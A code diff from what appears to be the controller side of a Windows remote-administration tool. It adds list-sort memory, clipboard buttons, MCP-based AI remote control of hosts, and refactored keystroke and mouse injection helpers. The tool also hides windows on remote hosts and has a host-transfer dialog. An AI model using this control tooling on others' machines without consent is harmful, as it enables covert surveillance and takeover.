+    THIS_CFG.SetStr("history", m_sHistoryKey.GetString(), result);
+}

server/2015Remote/ShareHostDlg.h

@@ -0,0 +1,45 @@
+#pragma once
+
+#include "resource.h"
+#include "LangManager.h"
+
+// 分享主机 / 转移主机 专用对话框（带 Shine/HELL 协议勾选）
+
+class CShareHostDlg : public CDialogLangEx
+{
+public:
+    CShareHostDlg(CWnd* pParent = nullptr, BOOL bNeedDays = FALSE);
+    virtual ~CShareHostDlg();
+
+    enum { IDD = IDD_DIALOG_SHARE_HOST };
+
+    void Init(LPCTSTR caption, LPCTSTR prompt);
+    void InitDays(LPCTSTR name, LPCTSTR defaultValue);   // 仅转移主机显示
+    void SetHistoryKey(LPCTSTR historyKey);
+
+    // 结果
+    CString m_str;      // 地址 IP:PORT
+    CString m_sDays;    // 天数（转移主机）
+    BOOL    m_bShine;   // TRUE=Shine(0), FALSE=HELL(1)
+
+protected:
+    virtual void DoDataExchange(CDataExchange* pDX);
+    virtual BOOL OnInitDialog();
+    virtual void OnOK();
+
+    DECLARE_MESSAGE_MAP()
+
+    CString m_sCaption;
+    CString m_sPrompt;
+    CString m_sDaysName;
+    CString m_sHistoryKey;
+    BOOL m_bNeedDays;
+
+    CComboBox m_ComboInput;
+    CStatic   m_StaticDays;
+    CEdit     m_EditDays;
+    CButton   m_CheckShine;
+
+    void LoadHistory();
+    void SaveHistory();
+};

server/2015Remote/SystemDlg.cpp

@@ -80,6 +80,7 @@ BOOL CSystemDlg::OnInitDialog()
     SetWindowText(str);//设置对话框标题
 
     m_ControlList.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT);
+    LoadSortPreference();          // 加载上次记忆的排序偏好
     if (m_bHow==TOKEN_PSLIST) {    //进程管理初始化列表
         m_ControlList.InsertColumnL(0, "映像名称", LVCFMT_LEFT, 180);
         m_ControlList.InsertColumnL(1, "PID", LVCFMT_LEFT, 70);
@@ -227,6 +228,8 @@ void CSystemDlg::ShowWindowsList(void)
     lvc.pszText = str.GetBuffer(0);
     lvc.cchTextMax = str.GetLength();
     m_ControlList.SetColumn(1, &lvc);
+
+    ApplySort();  // 应用记忆的排序偏好
 }
 
 void CSystemDlg::ShowProcessList(void)
@@ -260,8 +263,8 @@ void CSystemDlg::ShowProcessList(void)
         m_ControlList.SetItemText(i, 1, str);
         m_ControlList.SetItemText(i, 2, szProcessFullPath);
         m_ControlList.SetItemText(i, 3, arr[1].empty() ? "N/A" : arr[1].c_str());
-        // ItemData 为进程ID
+        // ItemData 为进程ID；Data[3] 需与第 4 列"架构"一致，否则按架构排序拿到空串而无意义
-        auto data = new ItemData{ *PID, {arr[0].c_str(), str, szProcessFullPath}, arr[1].c_str() };
+        auto data = new ItemData{ *PID, {arr[0].c_str(), str, szProcessFullPath, arr[1].empty() ? "N/A" : arr[1].c_str()}, arr[1].c_str() };
         m_ControlList.SetItemData(i, DWORD_PTR(data));
 
         dwOffset += sizeof(DWORD) + lstrlen(szExeFile) + lstrlen(szProcessFullPath) + 2;   //跳过这个数据结构 进入下一个循环
@@ -273,6 +276,8 @@ void CSystemDlg::ShowProcessList(void)
     lvc.pszText = str.GetBuffer(0);
     lvc.cchTextMax = str.GetLength();
     m_ControlList.SetColumn(2, &lvc); //在列表中显示有多少个进程
+
+    ApplySort();  // 应用记忆的排序偏好
 }
 
 
@@ -319,8 +324,6 @@ int CALLBACK CSystemDlg::CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM
 
 void CSystemDlg::SortByColumn(int nColumn)
 {
-    static int m_nSortColumn = 0;
-    static bool m_bSortAscending = false;
     if (nColumn == m_nSortColumn) {
         // 如果点击的是同一列，切换排序顺序
         m_bSortAscending = !m_bSortAscending;
@@ -330,11 +333,56 @@ void CSystemDlg::SortByColumn(int nColumn)
         m_bSortAscending = true;
     }
 
+    ApplySort();
+    SaveSortPreference();
+}
+
+void CSystemDlg::ApplySort()
+{
+    // 无有效排序偏好时保持列表原始顺序
+    if (m_nSortColumn < 0) {
+        return;
+    }
+
+    // 防御：配置被手动修改导致列索引越界时跳过排序
+    CHeaderCtrl* pHeader = m_ControlList.GetHeaderCtrl();
+    if (pHeader && m_nSortColumn >= pHeader->GetItemCount()) {
+        return;
+    }
+
     // 创建排序信息
     std::pair<int, bool> sortInfo(m_nSortColumn, m_bSortAscending);
     m_ControlList.SortItems(CompareFunction, reinterpret_cast<LPARAM>(&sortInfo));
 }
 
+void CSystemDlg::LoadSortPreference()
+{
+    // 进程管理 / 窗口管理 分别记忆各自的排序偏好
+    const char* key = (m_bHow == TOKEN_PSLIST) ? "ProcessListSort" : "WindowListSort";
+    std::string val = THIS_CFG.GetStr("list", key, "");
+    if (val.empty()) {
+        m_nSortColumn = -1;      // 无偏好：保持列表原始顺序
+        m_bSortAscending = true;
+        return;
+    }
+
+    auto arr = StringToVector(val, ',');
+    if (arr.size() >= 2) {
+        m_nSortColumn = atoi(arr[0].c_str());
+        m_bSortAscending = (atoi(arr[1].c_str()) != 0);
+    } else {
+        m_nSortColumn = -1;
+        m_bSortAscending = true;
+    }
+}
+
+void CSystemDlg::SaveSortPreference()
+{
+    const char* key = (m_bHow == TOKEN_PSLIST) ? "ProcessListSort" : "WindowListSort";
+    std::string val = std::to_string(m_nSortColumn) + "," + (m_bSortAscending ? "1" : "0");
+    THIS_CFG.SetStr("list", key, val);
+}
+
 void CSystemDlg::OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult)
 {
     LPNMHEADER pNMHeader = reinterpret_cast<LPNMHEADER>(pNMHDR);
@@ -493,6 +541,7 @@ void CSystemDlg::OnWlistHide()
         lpMsgBuf[0]=CMD_WINDOW_TEST;             //窗口处理数据头
         DWORD hwnd = data->ID;  //得到窗口的句柄一同发送
         pListCtrl->SetItemText(nItem,2,"hidden");      //注意这时将列表中的显示状态为"隐藏"
+        data->Data[2] = "hidden";  // 同步 ItemData，避免查看/排序读到旧状态
         //这样在删除列表条目时就不删除该项了 如果删除该项窗口句柄会丢失 就永远也不能显示了
         memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));      //得到窗口的句柄一同发送
         DWORD dHow=SW_HIDE;                          //窗口处理参数 0
@@ -516,6 +565,7 @@ void CSystemDlg::OnWlistRecover()
         lpMsgBuf[0]= CMD_WINDOW_TEST;
         DWORD hwnd = data->ID;
         pListCtrl->SetItemText(nItem,2,"normal");
+        data->Data[2] = "normal";  // 同步 ItemData，避免查看/排序读到旧状态
         memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
         DWORD dHow=SW_NORMAL;
         memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
@@ -538,6 +588,7 @@ void CSystemDlg::OnWlistMax()
         lpMsgBuf[0]= CMD_WINDOW_TEST;
         DWORD hwnd = data->ID;
         pListCtrl->SetItemText(nItem,2,"maximized");
+        data->Data[2] = "maximized";  // 同步 ItemData，避免查看/排序读到旧状态
         memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
         DWORD dHow=SW_MAXIMIZE;
         memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
@@ -560,6 +611,7 @@ void CSystemDlg::OnWlistMin()
         lpMsgBuf[0]= CMD_WINDOW_TEST;
         DWORD hwnd = data->ID;
         pListCtrl->SetItemText(nItem,2,"minimized");
+        data->Data[2] = "minimized";  // 同步 ItemData，避免查看/排序读到旧状态
         memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
         DWORD dHow=SW_MINIMIZE;
         memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));

server/2015Remote/SystemDlg.h

@@ -19,6 +19,8 @@ public:
     void OnReceiveComplete(void);
     CWnd* m_pParent;
     BOOL   m_bHow;
+    int    m_nSortColumn = -1;      // 当前排序列，-1 表示未排序
+    bool   m_bSortAscending = true; // 排序方向（true=升序）
 // 对话框数据
     enum { IDD = IDD_DIALOG_SYSTEM };
 
@@ -32,6 +34,9 @@ public:
 
     void DeleteAllItems();
     void SortByColumn(int nColumn);
+    void ApplySort();
+    void LoadSortPreference();
+    void SaveSortPreference();
     afx_msg VOID OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult);
     static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
 

server/2015Remote/ToolbarDlg.cpp

@@ -39,6 +39,8 @@ BEGIN_MESSAGE_MAP(CToolbarDlg, CDialogEx)
     ON_BN_CLICKED(IDC_BTN_Y, &CToolbarDlg::OnBnClickedY)
     ON_BN_CLICKED(IDC_BTN_Z, &CToolbarDlg::OnBnClickedZ)
     ON_BN_CLICKED(IDC_BTN_SCREENSHOT, &CToolbarDlg::OnBnClickedScreenshot)
+    ON_BN_CLICKED(IDC_BTN_GET_CLIPBOARD, &CToolbarDlg::OnBnClickedGetClipboard)
+    ON_BN_CLICKED(IDC_BTN_SET_CLIPBOARD, &CToolbarDlg::OnBnClickedSetClipboard)
     ON_WM_ERASEBKGND()
 END_MESSAGE_MAP()
 
@@ -88,7 +90,7 @@ void CToolbarDlg::CheckMousePosition()
     int monWidth = monRight - monLeft;
     int monHeight = monBottom - monTop;
 
-    int btnSize = 32, btnSpacing = 8, btnCount = 16;
+    int btnSize = 32, btnSpacing = 8, btnCount = 18;
 
     if (m_nPosition <= 1) {
         // 水平模式 (上/下)
@@ -153,9 +155,9 @@ void CToolbarDlg::SlideIn()
     int monWidth = monRight - monLeft;
     int monHeight = monBottom - monTop;
 
-    int hw = 640; // 水平工具栏宽度 (与垂直高度一致)
+    int hw = 720; // 水平工具栏宽度 (与垂直高度一致)
     int vw = 40;
-    int vh = 640;
+    int vh = 720;
 
     // 从边缘展开（改变窗口大小），避免多显示器时跑到相邻屏幕
     switch (m_nPosition) {
@@ -212,9 +214,9 @@ void CToolbarDlg::SlideOut()
     int monWidth = monRight - monLeft;
     int monHeight = monBottom - monTop;
 
-    int hw = 640;
+    int hw = 720;
     int vw = 40;
-    int vh = 640;
+    int vh = 720;
 
     CWnd* btns[] = {
         &m_btnExit, &m_btnControl,
@@ -224,9 +226,10 @@ void CToolbarDlg::SlideOut()
         &m_btnQuality, &m_btnRestoreConsole,
         &m_btnX, &m_btnY, &m_btnZ,
         &m_btnScreenshot,
+        &m_btnGetClipboard, &m_btnSetClipboard,
         &m_btnMinimize, &m_btnClose,
     };
-    const int N = 16;
+    const int N = 18;
     CRect btnRects[N];
     for (int i = 0; i < N; i++) {
         btns[i]->GetWindowRect(&btnRects[i]);
@@ -331,6 +334,8 @@ BOOL CToolbarDlg::OnInitDialog()
     m_btnY.SubclassDlgItem(IDC_BTN_Y, this);
     m_btnZ.SubclassDlgItem(IDC_BTN_Z, this);
     m_btnScreenshot.SubclassDlgItem(IDC_BTN_SCREENSHOT, this);
+    m_btnGetClipboard.SubclassDlgItem(IDC_BTN_GET_CLIPBOARD, this);
+    m_btnSetClipboard.SubclassDlgItem(IDC_BTN_SET_CLIPBOARD, this);
     m_btnMinimize.SubclassDlgItem(IDC_BTN_MINIMIZE, this);
     m_btnClose.SubclassDlgItem(IDC_BTN_CLOSE, this);
 
@@ -343,6 +348,8 @@ BOOL CToolbarDlg::OnInitDialog()
     // Y按钮图标在 UpdateButtonIcons 中根据音频状态动态设置
     m_btnZ.SetIconDrawFunc(CIconButton::DrawIconLetterZ);  // 预留按钮 Z
     m_btnScreenshot.SetIconDrawFunc(CIconButton::DrawIconScreenshot);
+    m_btnGetClipboard.SetIconDrawFunc(CIconButton::DrawIconLetterC);
+    m_btnSetClipboard.SetIconDrawFunc(CIconButton::DrawIconLetterP);
     m_btnMinimize.SetIconDrawFunc(CIconButton::DrawIconMinimize);
     m_btnClose.SetIconDrawFunc(CIconButton::DrawIconClose);
     m_btnClose.SetIsCloseButton(true);
@@ -367,6 +374,8 @@ BOOL CToolbarDlg::OnInitDialog()
     m_tooltip.AddTool(&m_btnY, pParent->m_Settings.AudioEnabled ? _TR("关闭系统音频") : _TR("打开系统音频"));
     m_tooltip.AddTool(&m_btnZ, _TR("选择ROI"));
     m_tooltip.AddTool(&m_btnScreenshot, _TR("截图"));
+    m_tooltip.AddTool(&m_btnGetClipboard, _TR("获取剪贴板"));
+    m_tooltip.AddTool(&m_btnSetClipboard, _TR("设置剪贴板"));
     m_tooltip.AddTool(&m_btnMinimize, _TR("最小化"));
     m_tooltip.AddTool(&m_btnClose, _TR("关闭"));
 
@@ -383,9 +392,9 @@ BOOL CToolbarDlg::OnInitDialog()
         int monWidth = rcMonitor.right - rcMonitor.left;
         int monHeight = rcMonitor.bottom - rcMonitor.top;
 
-        int hw = 640;
+        int hw = 720;
         int vw = 40;
-        int vh = 640;
+        int vh = 720;
         int hx = rcMonitor.left + (monWidth - hw) / 2;
 
         switch (m_nPosition) {
@@ -514,7 +523,7 @@ void CToolbarDlg::LayoutButtons()
 {
     int btnSize = 32;
     int btnSpacing = 8;
-    int btnCount = 16;
+    int btnCount = 18;
 
     CWnd* btns[] = {
         &m_btnExit,
@@ -531,6 +540,8 @@ void CToolbarDlg::LayoutButtons()
         &m_btnY,           // 预留按钮 Y
         &m_btnZ,           // 预留按钮 Z
         &m_btnScreenshot,
+        &m_btnGetClipboard,
+        &m_btnSetClipboard,
         &m_btnMinimize,
         &m_btnClose,
     };
@@ -588,9 +599,9 @@ void CToolbarDlg::UpdatePosition()
     int monWidth = rcMonitor.right - rcMonitor.left;
     int monHeight = rcMonitor.bottom - rcMonitor.top;
 
-    int hw = 640;
+    int hw = 720;
     int vw = 40;
-    int vh = 640;
+    int vh = 720;
     int hx = rcMonitor.left + (monWidth - hw) / 2;
 
     switch (m_nPosition) {
@@ -785,6 +796,18 @@ void CToolbarDlg::OnBnClickedScreenshot()
     }
 }
 
+void CToolbarDlg::OnBnClickedGetClipboard()
+{
+    // 与系统菜单 IDM_GET_CLIPBOARD 相同的处理逻辑
+    GetParent()->PostMessage(WM_SYSCOMMAND, IDM_GET_CLIPBOARD, 0);
+}
+
+void CToolbarDlg::OnBnClickedSetClipboard()
+{
+    // 与系统菜单 IDM_SET_CLIPBOARD 相同的处理逻辑
+    GetParent()->PostMessage(WM_SYSCOMMAND, IDM_SET_CLIPBOARD, 0);
+}
+
 BOOL CToolbarDlg::PreTranslateMessage(MSG* pMsg)
 {
     if (m_tooltip.GetSafeHwnd()) {

server/2015Remote/ToolbarDlg.h

@@ -39,6 +39,8 @@ public:
     CIconButton m_btnY;           // 预留按钮 Y
     CIconButton m_btnZ;           // 预留按钮 Z
     CIconButton m_btnScreenshot;
+    CIconButton m_btnGetClipboard;  // 获取剪贴板
+    CIconButton m_btnSetClipboard;  // 设置剪贴板
     CIconButton m_btnMinimize;
     CIconButton m_btnClose;
 
@@ -80,6 +82,8 @@ public:
     afx_msg void OnBnClickedY();          // 预留按钮 Y 响应函数
     afx_msg void OnBnClickedZ();          // 预留按钮 Z 响应函数
     afx_msg void OnBnClickedScreenshot();
+    afx_msg void OnBnClickedGetClipboard();
+    afx_msg void OnBnClickedSetClipboard();
     afx_msg BOOL OnEraseBkgnd(CDC* pDC);
     virtual BOOL OnInitDialog();
 };

server/2015Remote/UIBranding.h

@@ -46,7 +46,7 @@
 
 // 程序版本号 [建议格式: X.Y.Z]
 // 影响：关于对话框、标题栏
-#define BRAND_VERSION           "1.3.8"
+#define BRAND_VERSION           "1.3.9"
 
 // 启动画面名称 [建议大写，更有 Logo 感]
 // 影响：启动画面 Logo 文字（大号艺术字体渲染）
@@ -171,6 +171,7 @@
 #define HIDE_MENU_RELOAD_PLUGINS        0   // 重新加载插件
 #define HIDE_MENU_PLUGIN_REQUEST        0   // 插件请求
 #define HIDE_MENU_FRPS_FOR_SUB          0   // 下级FRP
+#define HIDE_MENU_MCP_SETTINGS          0   // MCP设置
 
 // --- 扩展菜单 - 语言子菜单 ---
 #define HIDE_MENU_CHANGE_LANG           0   // 更改语言
@@ -298,6 +299,8 @@
 // 用的 master password 解耦——后者一旦泄漏影响面更大，应避免在公网登录
 // 时复用。与 Go 服务端的 YAMA_WEB_ADMIN_PASS 语义一致。
 #define BRAND_WEB_ENV_VAR       "YAMA_WEB_ADMIN_PASS"
+// MCP 服务端静态 token 环境变量（优先级高于 settings/McpToken）
+#define BRAND_MCP_ENV_VAR       "YAMA_MCP_TOKEN"
 
 // --- 宽字符版本（自动生成）---
 #define BRAND_APP_NAME_W        _T(BRAND_APP_NAME)

server/2015Remote/WebService.cpp

@@ -6,6 +6,7 @@
 #include "2015RemoteDlg.h"
 #include "Server.h"  // For CONTEXT_OBJECT
 #include "jsoncpp/json.h"
+#include "HostJson.h"  // BuildHostJson（单台主机序列化公共函数）
 #include "WebPage.h"
 #include "SimpleWebSocket.h"
 #include "common/commands.h"
@@ -34,6 +35,16 @@ static std::string LoadBinaryResourceAsString(int resourceId) {
     return std::string(static_cast<const char*>(p), size);
 }
 
+// Replace all occurrences of `from` with `to` in-place.
+static void ReplaceAll(std::string& s, const std::string& from, const std::string& to) {
+    if (from.empty()) return;
+    size_t pos = 0;
+    while ((pos = s.find(from, pos)) != std::string::npos) {
+        s.replace(pos, from.length(), to);
+        pos += to.length();
+    }
+}
+
 // Challenge-response nonce storage (prevents replay attacks)
 static std::map<void*, std::string> s_ClientNonces;
 static std::mutex s_NonceMutex;
@@ -88,31 +99,6 @@ static void ClearNonce(void* ws_ptr) {
     s_ClientNonces.erase(ws_ptr);
 }
 
-// Helper: Convert ANSI (GBK) string to UTF-8
-static std::string AnsiToUtf8(const CString& str) {
-    if (str.IsEmpty()) return "";
-#ifdef _UNICODE
-    // Unicode build: CString is already UTF-16, convert to UTF-8
-    int len = WideCharToMultiByte(CP_UTF8, 0, str, -1, NULL, 0, NULL, NULL);
-    if (len <= 0) return "";
-    std::string result(len - 1, '\0');
-    WideCharToMultiByte(CP_UTF8, 0, str, -1, &result[0], len, NULL, NULL);
-    return result;
-#else
-    // MBCS build: CString is ANSI (GBK), need to convert to UTF-16 first, then to UTF-8
-    int wlen = MultiByteToWideChar(CP_ACP, 0, str, -1, NULL, 0);
-    if (wlen <= 0) return "";
-    std::wstring wstr(wlen - 1, L'\0');
-    MultiByteToWideChar(CP_ACP, 0, str, -1, &wstr[0], wlen);
-
-    int u8len = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
-    if (u8len <= 0) return "";
-    std::string result(u8len - 1, '\0');
-    WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, &result[0], u8len, NULL, NULL);
-    return result;
-#endif
-}
-
 //////////////////////////////////////////////////////////////////////////
 // CWebService Implementation
 //////////////////////////////////////////////////////////////////////////
@@ -255,6 +241,10 @@ void CWebService::ServerThread(int port) {
 
     // Serve static HTML page and file downloads
     static std::string cachedHtml = GetWebPageHTML();
+    // server/web/index.html carries a __BASE_PATH__ placeholder for the Go
+    // server's subpath deployment. The MFC server serves from the domain root,
+    // so strip it (→ "") — otherwise the WebSocket/CSS/JS URLs break.
+    ReplaceAll(cachedHtml, "__BASE_PATH__", "");
     // Log loaded size; zero bytes means the RC BINARY resource is missing or
     // server/web/index.html was not embedded — check 2015Remote.rc and rebuild.
     Mprintf("[WebService] index.html loaded: %zu bytes\n", cachedHtml.size());
@@ -667,6 +657,15 @@ void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t
         }
     }
 
+    // Bidirectional mutex (direction 2, §8.2): reject human Web viewing while an MCP
+    // remote control session owns this host's screen sub-connection (SetMcpTriggered on
+    // remote_open, cleared on session teardown), so AI input cannot be injected into a
+    // picture a human is watching/controlling.
+    if (IsMcpTriggered(device_id)) {
+        SendText(ws_ptr, BuildJsonResponse("connect_result", false, "Device busy: remote control session active"));
+        return;
+    }
+
     // Check max clients per device
     int current_count = GetWebClientCount(device_id);
     if (current_count >= m_nMaxClientsPerDevice) {
@@ -823,34 +822,18 @@ void CWebService::HandleMouse(void* ws_ptr, const std::string& msg) {
         return;
     }
 
-    // Build MSG64 structure
+    // Build MSG64 structure（共享 helper，见 WebService.h；与 MCP remote_mouse 复用）
-    MSG64 msg64;
+    MSG64 msg64 = BuildMouseMsg64(x, y, 0, 0);   // 默认 WM_NULL；未知 button 时仍发送（保持原行为）
-    memset(&msg64, 0, sizeof(MSG64));
-    msg64.pt.x = x;
-    msg64.pt.y = y;
-    msg64.lParam = MAKELPARAM(x, y);
-    msg64.time = GetTickCount();
 
     // Map type and button to Windows message
     if (type == "down") {
-        if (button == 0) {
+        if (button == 0)      { msg64.message = WM_LBUTTONDOWN; msg64.wParam = MK_LBUTTON; }
-            msg64.message = WM_LBUTTONDOWN;
+        else if (button == 1) { msg64.message = WM_MBUTTONDOWN; msg64.wParam = MK_MBUTTON; }
-            msg64.wParam = MK_LBUTTON;
+        else if (button == 2) { msg64.message = WM_RBUTTONDOWN; msg64.wParam = MK_RBUTTON; }
-        } else if (button == 1) {
-            msg64.message = WM_MBUTTONDOWN;
-            msg64.wParam = MK_MBUTTON;
-        } else if (button == 2) {
-            msg64.message = WM_RBUTTONDOWN;
-            msg64.wParam = MK_RBUTTON;
-        }
     } else if (type == "up") {
-        if (button == 0) {
+        if (button == 0)      { msg64.message = WM_LBUTTONUP; }
-            msg64.message = WM_LBUTTONUP;
+        else if (button == 1) { msg64.message = WM_MBUTTONUP; }
-        } else if (button == 1) {
+        else if (button == 2) { msg64.message = WM_RBUTTONUP; }
-            msg64.message = WM_MBUTTONUP;
-        } else if (button == 2) {
-            msg64.message = WM_RBUTTONUP;
-        }
     } else if (type == "move") {
         msg64.message = WM_MOUSEMOVE;
     } else if (type == "wheel") {
@@ -869,13 +852,8 @@ void CWebService::HandleMouse(void* ws_ptr, const std::string& msg) {
         if (clientType != GetClientType(CLIENT_TYPE_MACOS) && clientType != "macOS") {
             return;  // Skip dblclick for non-macOS clients
         }
-        if (button == 0) {
+        if (button == 0)      { msg64.message = WM_LBUTTONDBLCLK; msg64.wParam = MK_LBUTTON; }
-            msg64.message = WM_LBUTTONDBLCLK;
+        else if (button == 2) { msg64.message = WM_RBUTTONDBLCLK; msg64.wParam = MK_RBUTTON; }
-            msg64.wParam = MK_LBUTTON;
-        } else if (button == 2) {
-            msg64.message = WM_RBUTTONDBLCLK;
-            msg64.wParam = MK_RBUTTON;
-        }
     } else {
         return;  // Unknown type
     }
@@ -931,41 +909,8 @@ void CWebService::HandleKey(void* ws_ptr, const std::string& msg) {
         return;
     }
 
-    // Build MSG64 structure
+    // Build MSG64 structure（共享 helper，见 WebService.h；与 MCP remote_keyboard 复用）
-    MSG64 msg64;
+    MSG64 msg64 = BuildKeyMsg64(keyCode, isDown, altKey);
-    memset(&msg64, 0, sizeof(MSG64));
-
-    // Use WM_SYSKEYDOWN/UP for Alt combinations (same as MFC version)
-    if (altKey) {
-        msg64.message = isDown ? WM_SYSKEYDOWN : WM_SYSKEYUP;
-    } else {
-        msg64.message = isDown ? WM_KEYDOWN : WM_KEYUP;
-    }
-    msg64.wParam = keyCode;
-    msg64.time = GetTickCount();
-
-    // Build lParam for keyboard message:
-    // bits 0-15: repeat count (1)
-    // bits 16-23: scan code
-    // bit 24: extended key flag
-    // bit 29: context code (1 if Alt is pressed)
-    // bit 30: previous key state (1 for keyup)
-    // bit 31: transition state (1 for keyup)
-    UINT scanCode = MapVirtualKey(keyCode, MAPVK_VK_TO_VSC);
-
-    // Extended keys: arrows, insert, delete, home, end, page up/down, numpad enter, etc.
-    bool isExtended = (keyCode >= VK_PRIOR && keyCode <= VK_DOWN) ||  // Page Up/Down, End, Home, Arrows
-                      keyCode == VK_INSERT || keyCode == VK_DELETE ||
-                      keyCode == VK_NUMLOCK || keyCode == VK_RCONTROL || keyCode == VK_RMENU ||
-                      keyCode == VK_APPS;
-
-    LPARAM lParam = 1;  // repeat count = 1
-    lParam |= (scanCode & 0xFF) << 16;
-    if (isExtended) lParam |= (1 << 24);
-    if (altKey) lParam |= (1 << 29);  // context code for Alt
-    if (!isDown) lParam |= (3UL << 30);  // bit 30 and 31 set for key up
-
-    msg64.lParam = lParam;
 
     // Send command to device
     const int length = sizeof(MSG64) + 1;
@@ -1544,71 +1489,9 @@ std::string CWebService::BuildDeviceListJson(const std::string& username) {
                 if (!allowed) continue;  // Skip device not in allowed groups
             }
 
-            Json::Value device;
+            // 单台主机序列化委托给公共函数 BuildHostJson（与 MCP 侧复用，
-            // Use string for ID to avoid JavaScript number precision loss
+            // 字段与编码转换逻辑保持一致，见 docs/Mcp_Design.md §3.4 方案 C）。
-            device["id"] = std::to_string(ctx->GetClientID());
+            Json::Value device = BuildHostJson(ctx, m_pParentDlg->m_ClientMap);
-
-            CString name = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
-            device["name"] = AnsiToUtf8(name);
-
-            // 用户在 MFC 端给这台主机起的备注（菜单"修改备注"写入 MAP_NOTE）
-            // 例如 hostname="A6" + remark="我的Windows" → web 显示"A6 (我的Windows)"
-            if (m_pParentDlg->m_ClientMap) {
-                CString remark = m_pParentDlg->m_ClientMap->GetClientMapData(
-                    ctx->GetClientID(), MAP_NOTE);
-                if (!remark.IsEmpty()) {
-                    device["remark"] = AnsiToUtf8(remark);
-                }
-            }
-
-            CString ip = ctx->GetClientData(ONLINELIST_IP);
-            device["ip"] = AnsiToUtf8(ip);
-
-            CString os = ctx->GetClientData(ONLINELIST_OS);
-            device["os"] = AnsiToUtf8(os);
-
-            CString location = ctx->GetClientData(ONLINELIST_LOCATION);
-            device["location"] = AnsiToUtf8(location);
-
-            CString rtt = ctx->GetClientData(ONLINELIST_PING);
-            device["rtt"] = AnsiToUtf8(rtt);
-
-            CString version = ctx->GetClientData(ONLINELIST_VERSION);
-            device["version"] = AnsiToUtf8(version);
-
-            // 活动窗口编码由客户端能力位决定：新客户端是 UTF-8，老客户端是 CP_ACP（默认 936）。
-            // 不能像其它字段那样无脑 AnsiToUtf8——会把新客户端的 UTF-8 字节再当 GBK 双重编码。
-            CString activeWindow = ctx->GetClientData(ONLINELIST_LOGINTIME);
-            std::string activeWindowU8;
-            if (!activeWindow.IsEmpty()) {
-                UINT cp = GetClientEncoding(ctx);
-                int wlen = MultiByteToWideChar(cp, 0, activeWindow, -1, NULL, 0);
-                if (wlen > 1) {
-                    std::wstring w(wlen - 1, L'\0');
-                    MultiByteToWideChar(cp, 0, activeWindow, -1, &w[0], wlen);
-                    int u8len = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, NULL, 0, NULL, NULL);
-                    if (u8len > 1) {
-                        activeWindowU8.resize(u8len - 1);
-                        WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, &activeWindowU8[0], u8len, NULL, NULL);
-                    }
-                }
-            }
-            device["activeWindow"] = activeWindowU8;
-            device["online"] = true;
-
-            // Add device group to response
-            device["group"] = deviceGroup;
-
-            // Get screen info from client's reported resolution
-            // Format: "n:MxN" where n=monitor count, M=width, N=height
-            CString resolution = ctx->GetAdditionalData(RES_RESOLUTION);
-            if (!resolution.IsEmpty()) {
-                device["screen"] = AnsiToUtf8(resolution);  // e.g. "2:3840x1080"
-            }
-
-            CString clientType = ctx->GetAdditionalData(RES_CLIENT_TYPE);
-            device["clientType"] = AnsiToUtf8(clientType);  // e.g. "MAC", "LNX", "EXE"
-
             res["devices"].append(device);
         }
         LeaveCriticalSection(&m_pParentDlg->m_cs);
@@ -1756,6 +1639,17 @@ void CWebService::NotifyResolutionChange(uint64_t device_id, int width, int heig
     }
 }
 
+bool CWebService::GetScreenSize(uint64_t device_id, int& width, int& height) {
+    width = 0;
+    height = 0;
+    std::lock_guard<std::mutex> lock(m_DeviceCacheMutex);
+    auto it = m_DeviceCache.find(device_id);
+    if (it == m_DeviceCache.end()) return false;
+    width  = it->second->screen_width;
+    height = it->second->screen_height;
+    return width > 0 && height > 0;
+}
+
 void CWebService::NotifyAudioState(uint64_t device_id, bool enabled) {
     if (m_bStopping) return;
 
@@ -2279,6 +2173,21 @@ void CWebService::ClearMfcTriggered(uint64_t device_id) {
     m_MfcTriggeredDevices.erase(device_id);
 }
 
+void CWebService::SetMcpTriggered(uint64_t device_id) {
+    std::lock_guard<std::mutex> lock(m_McpTriggeredMutex);
+    m_McpTriggeredDevices.insert(device_id);
+}
+
+bool CWebService::IsMcpTriggered(uint64_t device_id) {
+    std::lock_guard<std::mutex> lock(m_McpTriggeredMutex);
+    return m_McpTriggeredDevices.find(device_id) != m_McpTriggeredDevices.end();
+}
+
+void CWebService::ClearMcpTriggered(uint64_t device_id) {
+    std::lock_guard<std::mutex> lock(m_McpTriggeredMutex);
+    m_McpTriggeredDevices.erase(device_id);
+}
+
 bool CWebService::HasActiveSession(uint64_t device_id) {
     std::lock_guard<std::mutex> lock(m_ScreenContextsMutex);
     return m_ScreenContexts.find(device_id) != m_ScreenContexts.end();

server/2015Remote/WebService.h

@@ -13,11 +13,56 @@
 #include <random>
 #include <ctime>
 
+#include "common/commands.h"   // MSG64 / COMMAND_SCREEN_CONTROL：共享键盘注入 helper（BuildKeyMsg64）
+
 // Forward declarations
 class context;
 class CMy2015RemoteDlg;
 class CONTEXT_OBJECT;
 
+// 构造单个键盘注入 MSG64（复用 WebService::HandleKey 的 lParam 逻辑，抽取为共享 helper，
+// 供 Web 与 MCP 远程控制两处使用，避免漂移，见 docs/Mcp_RemoteControl_Design.md §6.2）。
+// keyCode：虚拟键码；isDown：按下/抬起；isSysKey：true 用 WM_SYSKEYDOWN/UP 并置 Alt 上下文位。
+inline MSG64 BuildKeyMsg64(int keyCode, bool isDown, bool isSysKey) {
+    MSG64 msg64;
+    memset(&msg64, 0, sizeof(MSG64));
+
+    if (isSysKey) msg64.message = isDown ? WM_SYSKEYDOWN : WM_SYSKEYUP;
